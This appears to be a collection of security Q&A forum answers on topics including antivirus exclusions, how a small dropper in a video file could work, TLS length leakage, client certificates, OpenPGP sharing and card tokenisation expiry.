Anti-malware software can have exclusions of files with certain extensions or exclude certain drives or directories from scanning. If the malware is located in a location excluded for scanning, the software will not identify, quarantine or remove the offending software.

You can have a look through the software configuration for such exclusions. If you know where the worm is located, you could run a parallel test by placing the eicar test file in that folder and see if that is identified. If the software is scanning the infected location and is not finding the worm or eicar, the software is not fit for purpose.


Yes, it can. It could be just the trigger vulnerability which would load data on specific areas of the movie in memory and execute.

The malicious part can be pretty small, and the payload could be stored elsewhere. After extracting and executing the payload, additional modules can be downloaded, doing way more than the loader.

It's like most malware infections work: a small component, called the "dropper", is executed first and it downloads and executes other modules, until the entire malware is downloaded and executed. Those 14 bytes may very much be a dropper.

In this specific case, those 14 bytes could load parts of the movie on memory, load its address into the register, and jump into it. Examining only the video would not show anything suspicious, as the code would look like video data (or metadata), but the 14 bytes from the loader would stand out.


I was reading about the anonymizeation problem just the other day.  As it happens, the first edition of what I was reading is on line, at
https://www.cl.cam.ac.uk/~rja14/Papers/

This is from Ross Anderson at Cambridge, who is well-known in the community. You want one of the Security Engineering chapters, starting at SE-01.pdf, but the're other stuff there in his blog.


TLS Bicycle Attack - What cipher is free from flaws to use?

The PDF of the article begins with:

  It is usually assumed that HTTP traffic encapsulated in TLS doesn't reveal the exact sizes of its parts

This is not what I would have said. Rather, let's say that it is usually assumed by people who do not know better. TLS is encryption and encryption is good at hiding data contents, not data length. This is not exactly novel. However, it is true that the idea that TLS "hides everything" is still widespread (it is wrong, has always been, but education is slow, especially when people don't want to be educated).

Some people have argued that CBC-based cipher suites imply a padding that might somehow hide the fine details of the encrypted data length, since the length is padded to a multiple of the block size. This "hiding effect" does not really hold in practice, so it is saner to assume that no cipher suite will help you hide the length of the data you are sending.

If you really want to hide, say, the length of a user's password, then you must do it properly, by making the sender pad it to a fixed length before sending it (this can be done in a few lines of Javascript). However, consider that the length will still leak in many places; notoriously, the length will impact processing time on both the client and server, and this can be detected (at least, that kind of side-channel leakage was demonstrated in lab conditions). Also, when the user types his password, any attacker within earshot can simply count the strokes and obtain the same information (practically, by recording the noise with his smartphone and playing it later on at low speed -- the attacker may even get information on the actual letters because they make distinct noises in a typical keyboard).

A realistic answer would be to point out that if leaking the password length allows breaking it, then this is a poor password to begin with, and you should probably fix that. The length is only a small part of the issue, which is that bad passwords are bad.


What should a client verify after getting a client certificate?

Technically your certificate is not for you. You have a certificate so you can show it to other people; it is meant to convince them, not you. You don't necessarily trust your own certificate.

As a safeguard against bugs, you may want to check that the public key in the certificate matches your private key: if the CA fumbled (badly) and sent you the wrong certificate, then you want to know it early so that you may complain and start the procedure again. Similarly, CA often send certificates back with a chain, i.e. all intermediate CA which are normally used to validate the certificate. Since a very common format for that is PKCS#7, in which the certificate are unordered, your code must make sure that it imports the right certificate in the bunch.

Attacker's power in such a process is that of nuisance: depending on the communication channels between you and the CA, he might replace your certificate with junk bytes, or another certificate with a different name or public key. Such a certificate would not be valid, and lead to simply things not working. Generally speaking, you want to diagnose such occurrences early.


How can I share sensitive information with my team?

Why don't use an OpenPGP implementation?
Which one will depend which one is available for your systems, check in your package list.

Many mail clients integrate it (thunderbird, evolution, ...), and you can update the public keys to a public key server (I'd recommend exchange them on a USB driver though, or using a known secure data transfer protocol and being careful).
Once it's setup in the mail clients, it will work out of the box, nothing to do...

In your case you might want to exchange the private key with everyone, surely you won't be able to exchange it by mail in clear text, you'll bite your tail. So it's the same problem, but you'll have to deal with it once and then your done.

Or you could send them the encrypted file and you would tell them the password via another communication system (phone, letter), unless your infrastructure is seriously compromised, it should guaranty a adequate level of security. Actually that's what banks do when you ask them to send you your online banking password, they won't tell it to you on the phone or by email but instead mail it to you in a old fashion way.

EDIT: please note that email are really unsafe, if a mailbox is compromised in the future, it will let the attacker access all the private files and passwords. Be sure to transmit critical data on a non-resilient support.


What defines a 'defense contractor' and what is required to be reported in new US law?

For a definitive answer, you'll want to look at three sources.

This is all set out in the act itself.
The Defence Department will be in touch with cleared defence contractors to provide their detailed requirements.
As ever, if you need to know if something is legal or not, don't ask random people on the Internet: ask a suitably qualified lawyer who specialises in that area.

Your updated question asks what is the effect of this on the broader InfoSec community. Probably minimal for those to whom the law does not apply. My company does not have to be PCI compliant, so PCI regulation troubles me hardly at all. We do have to be SOX compliant, and that troubles me a great deal. There are already breach disclosure requirements written into various laws (mostly centred around personally identifiable information).


Does credit card tokenization have an expire date?

Yes tokenisation does expire, either by date, or by the payment provider invalidating it.

Credit card expiry is usually set for each token and has a pre-set expiry date of 48 months in the case of MasterCard (although payment providers can adjust this), which is a sliding scale and reset during each token use. The token is unique to the card number not the transaction.

It should also be obvious that a card that expires (expiry date met) within that time will naturally expire therefore before tokenisation expiry.

While I know the OP didn't ask, to help others with tokenisation I have added the below for fullness:

The Tokenisation Process

The token is created by the payment provider (the company actually taking the payment) and returned to the merchant (e.g. could be the online shop). The merchant stores this token and replays it back to the payment provider as proof they are allowed to process money on behalf of that card. The payment provider stores the original PAN number (card number) and will only accept the token from authorised calls to use it. The payment provider may well have the PAN stored within a valut that can only be accessed (decrypted) using the authorised users password (e.g. could be an API key). This mitigates an attacker stealing the token and being able to use it. The payment provider can also invalidate the token from their end at any point.

More details here: http://www.mastercard.com/gateway/implementation_guides/Tokenization.html